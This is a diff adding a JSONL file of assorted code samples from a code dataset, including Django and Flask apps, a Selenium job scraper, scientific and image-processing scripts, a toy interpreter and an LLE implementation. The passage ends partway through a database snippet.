diff --git "a/4029.jsonl" "b/4029.jsonl" new file mode 100644--- /dev/null +++ "b/4029.jsonl" @@ -0,0 +1,754 @@ +{"seq_id":"156955577","text":"# Copyright 2021 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Runs all unit tests for gazoo_device.\"\"\"\nimport os\nimport unittest\nfrom gazoo_device import config\n\nUNIT_TEST_DIR = os.path.join(config.PACKAGE_PATH, \"tests\", \"unit_tests\")\n\n\ndef load_tests(loader, standard_tests, unused_pattern):\n \"\"\"Called by unittest framework to load tests for this module.\"\"\"\n folder = UNIT_TEST_DIR\n pattern_match = \"test_*.py\"\n unit_tests = loader.discover(\n folder, top_level_dir=UNIT_TEST_DIR, pattern=pattern_match)\n standard_tests.addTests(unit_tests)\n return standard_tests\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"gazoo_device/tests/unit_tests/unit_test_suite.py","file_name":"unit_test_suite.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"271889478","text":"# -*- coding: utf-8\nfrom __future__ import unicode_literals\n\nfrom django.conf.urls import patterns, include, url\n\nfrom . import views\n\nurlpatterns = patterns('',\n url(r'^dashboard/?$', views.DashboardView.as_view(),\n name='student_dashboard'),\n url(r'^profile/?$', views.ProfileUpdateView.as_view(),\n name='auth_profile'),\n url(r'^profile/delete/(?P[\\w_]+)/(?P[0-9]+)$',\n views.ProfileAdditionalDeleteView.as_view(),\n name='auth_profile_delete'),\n url(r'^profile/(?P[\\w_]+)/(?P[0-9]+)?$',\n views.ProfileAdditionalUpdateView.as_view(),\n name='auth_profile_additional'),\n url(r'^admin_state/(?P[0-9,]+)$',\n 'motius_user.admin_views.student_profile_state',\n name='student_admin_state'),\n url(r'^admin_note/(?P[0-9,]+)$',\n 'motius_user.admin_views.admin_note',\n name='student_admin_note'),\n url(r'^admin_tag/(?P[0-9,]+)$',\n 'motius_user.admin_views.admin_tag',\n name='student_admin_tag'),\n url(r'^admin_mail/(?P[0-9,]+)$',\n 'motius_user.admin_views.admin_mail',\n name='student_admin_mail'),\n url(r'^download/cv/(?P.+)?$',\n 'motius_user.views.download_cv',\n name='auth_download_cv'),\n url(r'^download/enrollment/(?P.+)?$',\n 'motius_user.views.download_enrollment',\n name='auth_download_enrollment'),\n url(r'^', include('allauth.urls')),\n)\n\nurlpatterns += patterns('select2',\n url(r'^select2/staff',\n views.StaffSelect2View.as_view(),\n name='select2_staff'),\n url(r'^select2/student_tags',\n views.StudentTagSelect2View.as_view(),\n name='select2_student_tag'),\n url(r'^select2/student_pause_reasons',\n views.StudentPauseReasonSelect2View.as_view(),\n name='select2_student_pause_reason'),\n url(r'^select2/universities$',\n views.UniversitySelect2View.as_view(),\n name='select2_university'),\n)","sub_path":"motius_user/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"366513646","text":"import time\nimport numpy as np\nfrom itertools import compress\n\n#import const\n#import global_variables.globals\nfrom helper_functions import Geometry\n#from Scatter import scatter\n#import Scatter\nfrom global_variables import globals\nfrom constants import const\n\ndef check_boundary2(comm,t):\n temp = time.time()\n\n indices = globals.indices\n if len(indices) == 0:\n return\n x = globals.x[indices]\n y = globals.y[indices]\n z = globals.z[indices]\n radius = Geometry.R(x)\n dist = np.sqrt((const.YCENTER - y) ** 2 + (const.ZCENTER - z) ** 2)\n new_rank = Geometry.get_rank(x, y, z)\n #delete = indices[(new_rank < 0) | (new_rank >= const.number_of_processors) | (dist > radius)]\n delete = indices[(new_rank != comm.rank) | (dist > radius)]\n\n # Remove particles\n globals.isw[delete] = False\n globals.tracking[delete] = False\n globals.indices = np.array(list(compress(const.num, globals.isw)))\n\n\n # Save number of extracted particles per wall\n \"\"\"\n killed_particles = indices[dist > radius]\n exit_wall = np.zeros((const.number_of_walls, const.number_of_species))\n total = np.zeros((const.number_of_walls, const.number_of_species))\n for spc in const.species_list:\n spc_id = spc.species\n x_del = x[killed_particles]\n for x in x_del:\n wall_id = const.wall_list.get_wall_number(x)\n exit_wall[wall_id,spc_id] += 1\n\n print(comm.rank,len(delete),exit_wall)\n #comm.Reduce([exit_wall, 1, MPI.INT],\n # [total, 1, MPI.INT], op=MPI.SUM, root=0)\n \"\"\"\n\ndef check_boundary(comm,t):\n\n \"\"\"Check whether the particles have passed any boundary\"\"\"\n temp = time.time()\n\n\n indices = globals.indices\n\n\n x = globals.x[indices]\n y = globals.y[indices]\n z = globals.z[indices]\n\n\n\n #print('A', str(time.time() - temp))\n\n #isw = np.ones((len(x)), dtype=int)\n\n #globals.source_wall_current += len(isw[x < const.x0])\n\n #isw[x < const.x0 + 2] = 0\n #isw[x > const.xmax - 2] = 0\n #isw[y < const.y0] = 0\n #isw[y > const.ymax - 2] = 0\n #isw[z < const.z0] = 0\n #isw[z > const.zmax - 2] = 0\n radius = Geometry.R(x)\n dist = np.sqrt((const.YCENTER - y) ** 2 + (const.ZCENTER - z) ** 2)\n old_isw = globals.isw[indices]\n old_isw[dist > radius] = False\n globals.isw[indices] = old_isw\n\n new_rank = Geometry.get_rank(x, y, z)\n #new_rank[isw == 0] = -1 # Means particle should be turned off completely.\n\n # Remove particles outside geometry\n old_isw = globals.isw[indices]\n old_isw[(new_rank < 0) | (new_rank >= const.number_of_processors)] = False\n globals.isw[indices] = old_isw\n\n #send_rank_list = new_rank[(new_rank >= 0) & (new_rank < const.number_of_processors) & (new_rank != comm.rank)]\n #particles_to_send = indices[(new_rank >= 0) & (new_rank < const.number_of_processors) & (new_rank != comm.rank)]\n\n #Scatter.scatter(comm, particles_to_send, send_rank_list)\n #Scatter.scatter2(comm, particles_to_send, send_rank_list)\n\n\n # Remove particles which stay att same rank.\n #particles_to_delete = indices[new_rank != comm.rank]\n #new_rank = new_rank[new_rank != comm.rank]\n\n # Delete all particles except same rank\n #particles_to_send = particles_to_delete[new_rank != -1]\n #send_rank_list = new_rank[new_rank != -1]\n\n\n\n #globals.isw[particles_to_delete] = False\n\n if comm.rank == 0:\n print(\"Send particles to new rank, time = \" + str(time.time() - temp) + \" s\")","sub_path":"PYPIC/algorithms/BoundaryCheck.py","file_name":"BoundaryCheck.py","file_ext":"py","file_size_in_byte":3467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"225916970","text":"#!/usr/bin/env python\n\nfrom flask import render_template, Blueprint, current_app, request\n\nfrom vogue.constants.constants import THIS_YEAR\nfrom vogue.server.utils.reagent_labels import reagent_label_data, reagent_category_data\nfrom vogue import __version__\n\napp = current_app\nindex_blueprint = Blueprint('index', __name__)\nflowcell_performance_treshold = 0.3\n\n\n@index_blueprint.route('/reagent_labels/',\n methods=['GET', 'POST'])\ndef reagent_labels(index_category_url: str):\n index_category = index_category_url.replace('_', ' ')\n\n aggregate_result = reagent_category_data(app.adapter, index_category,\n flowcell_performance_treshold)\n return render_template(\n 'reagent_labels.html',\n flowcell_performance_treshold=flowcell_performance_treshold,\n header='Overall performance per index',\n endpoint=request.endpoint,\n nr_indexes=len(aggregate_result),\n index_category=index_category,\n index_categories=app.adapter.get_reagent_label_categories(),\n year_of_interest=THIS_YEAR,\n results=aggregate_result,\n version=__version__)\n\n\n@index_blueprint.route('/reagent_label//',\n methods=['GET', 'POST'])\ndef reagent_label(index_category: str, reagent_label: str):\n aggregate_result = reagent_label_data(app.adapter, reagent_label,\n flowcell_performance_treshold)\n index_categories = list(\n app.adapter.get_all_reagent_label_names_grouped_by_category())\n return render_template(\n 'reagent_label.html',\n endpoint=request.endpoint,\n flowcell_performance_treshold=flowcell_performance_treshold,\n header='Normalized index performance per flowcell',\n index_category=index_category.replace('_', ' '),\n year_of_interest=THIS_YEAR,\n reagent_label=reagent_label,\n index_categories=index_categories,\n results=aggregate_result,\n version=__version__)\n","sub_path":"vogue/server/endpoints/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":2071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"94761893","text":"import time\r\n\r\nfrom selenium import webdriver\r\n\r\nfrom load_to_db import db_insert\r\n\r\n\r\ndef scrape_dice(pos, loc, no_of_jobs):\r\n # set up the driver for extraction\r\n driver = webdriver.Chrome(executable_path='/Users/twinklem/Desktop/OneDrive/CCA/projects/asp/chromedriver')\r\n driver.maximize_window()\r\n driver.get('https://www.dice.com') # Enter URL here\r\n time.sleep(3)\r\n search = driver.find_element_by_xpath('//input[@placeholder=\"Job title, skills or company\"]')\r\n search.send_keys(pos)\r\n location = driver.find_element_by_xpath('//input[@placeholder=\"Location (zip, city, state)\"]')\r\n location.send_keys(loc)\r\n button = driver.find_element_by_id('submitSearch-button').click()\r\n time.sleep(5)\r\n\r\n driver.find_element_by_xpath('//li[@class=\"pagination-next page-item ng-star-inserted\"]//a').click()\r\n time.sleep(5)\r\n links = driver.find_elements_by_xpath('//h5/a')\r\n parent_window = driver.current_window_handle\r\n\r\n # defining a list to write the data into\r\n jobs_list = list()\r\n\r\n i = 0\r\n for link in links:\r\n i = i + 1\r\n try:\r\n driver.execute_script('window.open(arguments[0]);', link)\r\n all_windows = driver.window_handles\r\n child_window = [window for window in all_windows if window != parent_window][0]\r\n driver.switch_to.window(child_window)\r\n time.sleep(8)\r\n job_title = driver.find_element_by_class_name('jobTitle').text\r\n company = driver.find_element_by_id('hiringOrganizationName').text\r\n location = driver.find_element_by_class_name('location').text\r\n post_time = driver.find_element_by_class_name('posted').text\r\n job_desc = driver.find_element_by_id('jobdescSec').text\r\n link_p = driver.current_url\r\n dict1 = {\r\n \"portal\": \"Dice\",\r\n \"title\": job_title,\r\n \"company\": company,\r\n \"location\": location,\r\n #\"description\": job_desc,\r\n \"posteddate\": post_time,\r\n \"url\": link_p\r\n }\r\n\r\n jobs_list.append(dict1)\r\n\r\n except:\r\n pass\r\n\r\n #if i == no_of_jobs:\r\n\r\n break\r\n\r\n\r\n driver.close()\r\n driver.switch_to.window(parent_window)\r\n\r\n driver.quit()\r\n print(\"Uploading data into the database\")\r\n db_insert(jobs_list)\r\n","sub_path":"dice_final.py","file_name":"dice_final.py","file_ext":"py","file_size_in_byte":2407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"310544669","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Jul 25 09:41:57 2020\r\n\r\n@author: PRIYANSHU\r\n\"\"\"\r\n\r\n\r\nfrom imutils import contours\r\nfrom skimage import measure\r\nimport numpy as np\r\nimport imutils\r\nimport cv2\r\n\r\n\r\nimage1 = cv2.imread(\"img.png\")\r\ngray = cv2.cvtColor(image1, cv2.COLOR_BGR2GRAY)\r\nblurred = cv2.GaussianBlur(gray, (11,11), 0)\r\n\r\n\r\nthresh = cv2.threshold(blurred,200,255,cv2.THRESH_BINARY)[1]\r\n\r\n#still after converting the bright spots to white there is noise \r\n#to remove we perfrom erosion and dilation \r\n\r\nthresh = cv2.erode(thresh,None,iterations=4)\r\nthresh = cv2.dilate(thresh, None,iterations=4)\r\n\r\n#after applying erode and dilation the noise in the image is reduced\r\n\r\n\r\n#now to ensure that there is no more noise we perform a CONNECTED-COMPONENT-CHECK\r\nlabels = measure.label(thresh,neighbors=8,background=0)\r\n#make a mask of the dimensions same as the threshold image\r\nmask = np.zeros(thresh.shape,dtype= \"uint8\")\r\n\r\nfor label in np.unique(labels):\r\n if label==0:\r\n #if this is a background label the ignore it \r\n continue\r\n labelMask = np.zeros(thresh.shape,dtype= \"uint8\")\r\n labelMask[label==labels]=255\r\n numpixels = cv2.countNonZero(labelMask)\r\n \r\n if numpixels>300:\r\n #if the count non zeros becomes greater than 300\r\n #then we can add these pixels to the mask\r\n mask = cv2.add(mask,labelMask)\r\n \r\n \r\ncnts =cv2.findContours(mask.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\r\ncnts = imutils.grab_contours(cnts)\r\n#find contours then sort them from left to right\r\ncnts = contours.sort_contours(cnts)[0]\r\n\r\n#loop over the contours\r\nfor i,c in enumerate(cnts):\r\n (x,y,w,h) = cv2.boundingRect(c)\r\n ((cX,cY),radius) =cv2.minEnclosingCircle(c)\r\n cv2.circle(image1,(int(cX),int(cY)),int(radius),(0,0,255),3)\r\n cv2.putText(image1, \"#{}\".format(i + 1), (x, y - 15),\r\n\t\tcv2.FONT_HERSHEY_SIMPLEX, 0.45, (0, 0, 255), 2)\r\n\r\ncv2.imshow(\"Image\", image1)\r\ncv2.waitKey(0)\r\n\r\n\r\n\r\n\r\n \r\n \r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n","sub_path":"bright.py","file_name":"bright.py","file_ext":"py","file_size_in_byte":2046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"112427477","text":"# -*- coding: utf-8 -*-\nfrom datetime import datetime\n\nfrom django.contrib import admin\nfrom django.db import models\nfrom django import forms\nfrom django.core.urlresolvers import reverse\nfrom digest.models import Issue, IssueHabr, Section, Item, Resource, AutoImportResource\n\nfrom django.contrib.sites.models import Site\nadmin.site.unregister(Site)\n\n\nclass IssueAdmin(admin.ModelAdmin):\n list_display = ('title', 'frontend_link', 'habr_link')\n\n def frontend_link(self,obj):\n lnk = reverse('frontend:issue_view', kwargs={'pk': obj.pk})\n return u'%s' % (lnk, lnk)\n frontend_link.allow_tags = True\n frontend_link.short_description = u\"Просмотр\"\n\n def habr_link(self,obj):\n lnk = reverse('frontend:habr_issue_view', kwargs={'pk': obj.pk})\n return u'%s' % (lnk, lnk)\n habr_link.allow_tags = True\n habr_link.short_description = u\"Хабраверстка\"\nadmin.site.register(Issue, IssueAdmin)\n\n\nclass IssueHabrAdmin(admin.ModelAdmin):\n list_display = ('title', 'habr_link')\n\n def habr_link(self,obj):\n lnk = reverse('frontend:habr_issue_view', kwargs={'pk': obj.pk})\n return u'%s' % (lnk, lnk)\n habr_link.allow_tags = True\n habr_link.short_description = u\"Хабраверстка\"\nadmin.site.register(IssueHabr, IssueHabrAdmin)\n\n\nclass SectionAdmin(admin.ModelAdmin):\n pass\nadmin.site.register(Section, SectionAdmin)\n\n\nclass ItemAdmin(admin.ModelAdmin):\n list_filter = ('status', 'issue', 'is_editors_choice', 'user')\n search_fields = ('title', 'description', 'link', 'resource__title')\n list_display = ('title', 'status', 'is_editors_choice', 'external_link', 'resource', 'issue', 'related_to_date')\n list_editable = ('is_editors_choice',)\n exclude = ('modified_at'),\n radio_fields = {\n 'language': admin.HORIZONTAL,\n 'status': admin.HORIZONTAL,\n }\n\n def external_link(self, obj):\n lnk = obj.link\n ret = u'Ссылка >>>' % lnk\n username = obj.user.username if obj.user else u'Гость'\n ret = u'%s
Добавил: %s' % (ret, username)\n return ret\n\n external_link.allow_tags = True\n external_link.short_description = u\"Ссылка\"\n\n def save_model(self, request, obj, form, change):\n prev_status = False\n if not obj.pk:\n obj.user = request.user\n if not obj.issue:\n la = lna = False\n qs = Issue.objects\n try:\n # последний активный\n la = qs.filter(status='active').order_by('-pk')[0:1].get()\n # последний неактивный\n lna = qs.filter(pk__gt=la.pk).order_by('pk')[0:1].get()\n except Issue.DoesNotExist:\n pass\n\n if la or lna:\n obj.issue = lna or la\n else:\n old_obj = Item.objects.get(pk=obj.pk)\n prev_status = old_obj.status\n\n # Обновление времени модификации при смене статуса на активный\n new_status = form.cleaned_data.get('status')\n if not prev_status == 'active' and new_status == 'active':\n obj.modified_at = datetime.now()\n\n super(ItemAdmin, self).save_model(request, obj, form, change)\nadmin.site.register(Item, ItemAdmin)\n\n\nclass ResourceAdmin(admin.ModelAdmin):\n list_display = ('title', 'link_html')\n\n def link_html(self,obj):\n return u'%s' % (obj.link, obj.link)\n link_html.allow_tags = True\n link_html.short_description = u\"Ссылка\"\nadmin.site.register(Resource, ResourceAdmin)\n\n\nclass AutoImportResourceAdmin(admin.ModelAdmin):\n list_display = ('name', 'link_html', 'type_res', 'resource', 'incl', 'excl', 'in_edit')\n formfield_overrides = {\n models.TextField: {'widget': forms.Textarea(attrs={'cols': 45, 'rows': 1 })},\n }\n def link_html(self,obj):\n return u'%s' % (obj.link, obj.link)\n link_html.allow_tags = True\n link_html.short_description = u\"Ссылка\"\nadmin.site.register(AutoImportResource, AutoImportResourceAdmin)\n","sub_path":"digest/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":4371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"558555032","text":"import numpy as np\nfrom .base import BaseScoreType\n\n\nclass NegativeLogLikelihood(BaseScoreType):\n def __init__(self, name='negative lof likelihood', precision=2,\n n_columns=2):\n self.name = name\n self.precision = precision\n # n_columns = 2: binary classification\n self.n_columns = n_columns\n self.is_lower_the_better = True\n self.minimum = 0.0,\n self.maximum = float('inf')\n\n def score_function(self, ground_truths, predictions, valid_indexes=None):\n if valid_indexes is None:\n valid_indexes = slice(None, None, None)\n y_proba = predictions.y_pred[valid_indexes]\n y_true_proba = ground_truths.y_pred[valid_indexes]\n # Normalize rows\n y_proba_normalized = y_proba / np.sum(y_proba, axis=1, keepdims=True)\n # Kaggle's rule\n y_proba_normalized = np.maximum(y_proba_normalized, 10 ** -15)\n y_proba_normalized = np.minimum(y_proba_normalized, 1 - 10 ** -15)\n scores = - np.sum(np.log(y_proba_normalized) * y_true_proba, axis=1)\n score = np.mean(scores)\n return score\n","sub_path":"rampwf/score_types/negative_log_likelihood.py","file_name":"negative_log_likelihood.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"84159659","text":"import math\n\n\ndef calc_fuel_req(wt: int) -> int:\n return math.floor(wt / 3) - 2\n\n\ndef sum_fuel_req(filename: str) -> int:\n total_sum = 0\n\n with open(filename) as f:\n for line in f:\n total_sum = total_sum + calc_fuel_req(int(line))\n\n return total_sum\n\n\ndef update_fuel_dict(wt: int, fuel_dict: dict) -> int:\n\n if wt <= 6:\n fuel_dict[wt] = 0\n return 0\n\n if wt not in fuel_dict:\n curr_fuel_req = calc_fuel_req(wt)\n fuel_dict[wt] = curr_fuel_req + update_fuel_dict(curr_fuel_req, fuel_dict)\n\n return fuel_dict[wt]\n\n\ndef sum_fuel_req_2(filename: str) -> int:\n req_fuel_dict = {}\n total_sum = 0\n\n with open(filename) as f:\n for line in f:\n total_sum = total_sum + update_fuel_dict(int(line), req_fuel_dict)\n\n return total_sum\n\n\nif __name__ == '__main__':\n print(sum_fuel_req_2('input'))\n","sub_path":"Problem_1/problem_1.py","file_name":"problem_1.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"580601867","text":"import re\nimport sys\nimport os\n\ndesktopPath =os.path.join(os.path.expanduser(\"~\"), 'Desktop')\nwaveDrawLogPath = desktopPath + \"/WaveDrawLog\"\n#filePath = desktopPath + \"/Backlight_DOE/Raw_data_log/LED_IO2_CURRENT_med.txt\"\nfilePath = sys.argv[1]\n\ndef function_32(data):\n Vref = 0.5\n volt = data\n if(data >= 0x80000000):\n volt = data-pow(2, 32)\n\n # print(\"volt1=\", volt)\n volt = volt / 100.0\n # print(\"volt2=\", volt)\n volt = volt / pow(2, 11)\n volt = volt * Vref\n return volt\n\ndef sum_32(data_list, ch):\n new_str = ''\n for i in range(int(len(data_list) / 4)):\n data= data_list[i * 4 + 0] + (data_list[i * 4 + 1] * pow(2, 8)) + (data_list[i * 4 + 2] * pow(2,16))+(data_list[i*4+3]*pow(2,24)) \n volt = function_32(data)\n data_value_list.append(volt)\n\n fo = open(waveDrawLogPath+\"/new_\"+str(ch) + \".csv\", \"w\")\n for line in data_value_list:\n if ch == 7:\n new_str = new_str +str(line) + ','\n \n fo.write(str(line) + ',\\r\\n')\n\n fo.close()\n\n if ch == 7:\n print(\"new_7_start:\"+new_str+\"new_7_end\")\n\ndef list_create(datalist):\n buff = []\n # buff.append(0)\n for z in datalist:\n buff.append(z)\n return buff\n\n\ndef open_file(path):\n file=open(path,\"r\")\n str=file.read()\n file.close()\n return str\n\n\nif __name__ == \"__main__\":\n\n isExists=os.path.exists(waveDrawLogPath)\n if not isExists:\n os.makedirs(waveDrawLogPath)\n print(filePath)\n data_value_list = []\n buf3 = []\n buf2 = []\n x = 0\n y = 0\n a = 0\n value0 = []\n value1 = []\n value2 = []\n value3 = []\n value4 = []\n value5 = []\n value6 = []\n value7 = []\n\n buf=open_file(filePath)\n buf=buf.rstrip()\n buf=buf.replace('0x','')\n buf=buf.replace('\\r','')\n buf=buf.replace('\\n','')\n buf_list=buf.split(':');\n# if len(buf_list)<2:\n# return ''\n buf = buf_list[1]\n\n# print(buf)\n\n result1 = []\n result = re.sub(' ', ',0x', buf)\n\n # with open('re.txt', 'w') as f:\n # f.write(result)\n\n buf12 = re.split(',', str(result))\n buf13 = []\n for i in buf12:\n buf13.append(int(i, 16))\n\n for ii in buf13:\n # buf2 = buf1[16:-4]\n # with open('re1.txt', 'w') as f:\n # f.write(str(buf2))\n if a <= 2047:\n a += 1\n buf2.append(ii)\n if a > 2047:\n a = 0\n# print(\"strat:\" + str(buf2[:20]))\n for i in buf2[16:-4]:\n if x <= 3:\n x = x + 1\n buf3.append(i)\n if x > 3:\n x = 0\n # y += 1\n if buf3[0] == 0x00:\n for z in buf3:\n value0.append(z)\n elif buf3[0] == 0x01:\n for z in buf3:\n value1.append(z)\n elif buf3[0] == 0x02:\n for z in buf3:\n value2.append(z)\n elif buf3[0] == 0x03:\n for z in buf3:\n value3.append(z)\n elif buf3[0] == 0x04:\n for z in buf3:\n value4.append(z)\n elif buf3[0] == 0x05:\n for z in buf3:\n value5.append(z)\n elif buf3[0] == 0x06:\n for z in buf3:\n value6.append(z)\n elif buf3[0] == 0x07:\n for z in buf3:\n value7.append(z)\n buf3 = []\n buf2 = []\n\n sum_32(value0, 0)\n sum_32(value1, 1)\n sum_32(value2, 2)\n sum_32(value3, 3)\n sum_32(value4, 4)\n sum_32(value5, 5)\n sum_32(value6, 6)\n sum_32(value7, 7)\n","sub_path":"draw/replace_05-22.py","file_name":"replace_05-22.py","file_ext":"py","file_size_in_byte":3955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"404184202","text":"import requests\r\nimport sys\r\nimport os\r\n\r\npwd = os.path.dirname(os.path.realpath(__file__))\r\nsys.path.append(pwd + \"../\")\r\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"django_app.settings\")\r\n\r\nimport django\r\n\r\ndjango.setup()\r\n\r\n\r\nclass RegistUser:\r\n def regist(self):\r\n for i in range(10):\r\n data = {\r\n \"username\": \"1584200451%d\" % (i),\r\n \"code\": \"123%d\" % (i),\r\n \"mobile\": \"1584200451%d\" % (i),\r\n \"password\": \"123456\"\r\n }\r\n requests.post(\"http://127.0.0.1:8000/api/users/\", data=data)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n register = RegistUser()\r\n register.regist()\r\n","sub_path":"db_tools/import_user.py","file_name":"import_user.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"602049551","text":"import os\nimport sys\nimport platform\n\nglobal var\nglobal inner_log\nglobal imports\nglobal av_imports\n\nvar = {}\ninner_log = [\"Welcome to the Inner Log\"]\nimports = []\nav_imports = []\n\n# About\nkernel_version = 0.2\nkernel_cmds = 0.01\nkernel_platform = platform.platform()\nkernel_about = f\"Builders Intelligence is running threw the Cyclone Kernel via Python\\nKernel Version: {kernel_version} Code Platform: {kernel_cmds}\\n{kernel_platform}\"\n\ndef var_add(varname=\"Variable Required\", data=\"Data Required\"):\n var[varname] = data\n\ndef var_get(varname):\n try:\n product = var[varname]\n except Exception as e:\n print(f\"[BuildersIntelligence] Code 11\")\n product = \"Uh Oh\"\n return product\n\ndef runcmd(cmd):\n if cmd[\"type\"]==\"#\":\n pass\n elif cmd[\"type\"].lower()==\"print\":\n print(cmd[\"args\"][0])\n elif cmd[\"type\"].lower()==\"var\":\n if cmd[\"args\"][1]==\"=\":\n var_add(cmd[\"args\"][0], cmd[\"args\"][2])\n elif cmd[\"type\"].lower()==\"os\":\n if cmd[\"args\"][0]==\"system\":\n os.system(cmd[\"args\"][1])\n elif cmd[\"type\"].lower()==\"kernel\":\n if cmd[\"args\"][0].lower()==\"about\":\n print(kernel_about)\n else: print(f\"[BuildersIntelligence] Command \\u001b[4m\"+cmd[\"type\"]+\"\\u001b[0m is not Valid\")\n\ndef semiparse(file):\n file = (file+\" \")\n preproduct = \"\"\n product = None\n quote = False\n for i in range(len(file)):\n if file[i]==\" \":\n if product==None:\n product = {\n \"type\": preproduct,\n \"args\": []\n }\n preproduct = \"\"\n elif quote==False:\n product[\"args\"].append(preproduct)\n preproduct = \"\"\n elif quote==True:\n preproduct = (preproduct+file[i])\n else:\n if file[i]!=\"\\\"\":\n preproduct = (preproduct+file[i])\n else:\n if quote==False:\n quote = True\n elif quote==True:\n quote = False\n return product\n\ndef scriptparse(file):\n preproduct = \"\"\n product = []\n for i in range(len(file)):\n if file[i]==\"\\n\":\n product.append(preproduct)\n preproduct = \"\"\n else:\n preproduct = (preproduct+file[i])\n product.append(preproduct)\n return product\n\ndef runscript(file):\n arrayparsed = scriptparse(file)\n for i in range(len(arrayparsed)):\n runcmd(semiparse(arrayparsed[i]))\n\nwhile True:\n runscript(open(input(\"File>>> \")).read())\n","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"366340444","text":"import gui\nfrom components.hardware import Hardware\nfrom serial import serialutil\n\nif __name__ == '__main__':\n arduino = Hardware.arduino\n\n masterFrame = gui.GUI()\n\n try:\n arduino.startSerial()\n except serialutil.SerialException:\n masterFrame.addText(\"Arduino not found, some functions may not work properly.\")\n\n masterFrame.start()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"230095043","text":"#-×- coding : utf-8 -*-\n\n# our own Locally Linear Embedding\n\nimport numpy as np\nfrom sklearn.metrics import pairwise_distances\nfrom scipy.sparse.linalg import eigs as sparse_eigs\nfrom sklearn.neighbors import NearestNeighbors\n\nclass LLE():\n def __init__(self, k_neighbors, low_dims):\n '''\n init function\n @params k_neighbors : the number of neigbors\n @params low_dims : low dimension\n '''\n self.k_neighbors = k_neighbors\n self.low_dims = low_dims\n\n def fit_transform(self, X):\n '''\n transform X to low-dimension\n @params X : 2-d numpy.array (n_samples, high_dims)\n '''\n K=self.k_neighbors\n #n_samples = X.shape[0]\n\n '''\n #first method: select with pair-wise distance\n # calculate pair-wise distance\n dist_mat = pairwise_distances(X)\n # index of neighbors, not include self\n neighbors = np.argsort(dist_mat, axis = 1)[:, 1 : self.k_neighbors + 1]\n '''\n #second method: select with NearstNeighbours\n knn = NearestNeighbors(self.k_neighbors + 1).fit(X)\n X = knn._fit_X\n n_samples = X.shape[0]\n neighbors = knn.kneighbors(X, return_distance=False)[:, 1:]\n\n # neighbor combination matrix\n W = np.zeros((n_samples, n_samples))\n\n #regularlizer in case constrained fits are ill conditioned\n '''\n if K > X.shape[1]:\n print(\"note: k_neighbors>high dimension; regularization will be used\")\n tol=1e-3\n else:\n tol=0.0\n '''\n reg=1e-3\n K=K+1\n for i in range(n_samples):\n mat_z = X[i] - X[neighbors[i]]\n mat_c = np.dot(mat_z, mat_z.transpose())\n\n trace=np.trace(mat_c)\n if trace > 0:\n R = reg * trace\n else:\n R = reg\n mat_c.flat[::K] += R\n # mat_c = mat_c + np.dot(np.identity((K, K)), np.trace(mat_c))*tol\n\n w = np.linalg.solve(mat_c, np.ones(mat_c.shape[0]))\n W[i, neighbors[i]] = w / w.sum()\n # sparse matrix M\n I_W = np.eye(n_samples) - W\n M = np.dot(I_W.transpose(), I_W)\n # solve the d+1 lowest eigen values\n eigen_values, eigen_vectors = np.linalg.eig(M)\n index = np.argsort(eigen_values)[1 : self.low_dims + 1]\n selected_eig_values = eigen_values[index]\n selected_eig_vectors = eigen_vectors[index]\n\n self.eig_values = selected_eig_values\n self.low_X = selected_eig_vectors.transpose()\n print(self.low_X.shape)\n return self.low_X\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"LLE&SLLE/code/ourlle.py","file_name":"ourlle.py","file_ext":"py","file_size_in_byte":2637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"393858151","text":"import database\nimport time\n\n\ncnx = database.get_connection()\ncursor = cnx.cursor()\nfrom datetime import datetime\n\ncurrent_datetime = str(datetime.now().strftime('%Y-%m-%d %H:%M:%S'))\n\n# reference_camera_id = 1\n# reference_to_neighbor_direction = 'S'\n# neighbor_to_reference_direction = 'W'\n# reference_cam_flow_rate = 800\n# neighbor_cam_flow_rate = 750\n\nx = 0.8\ny = 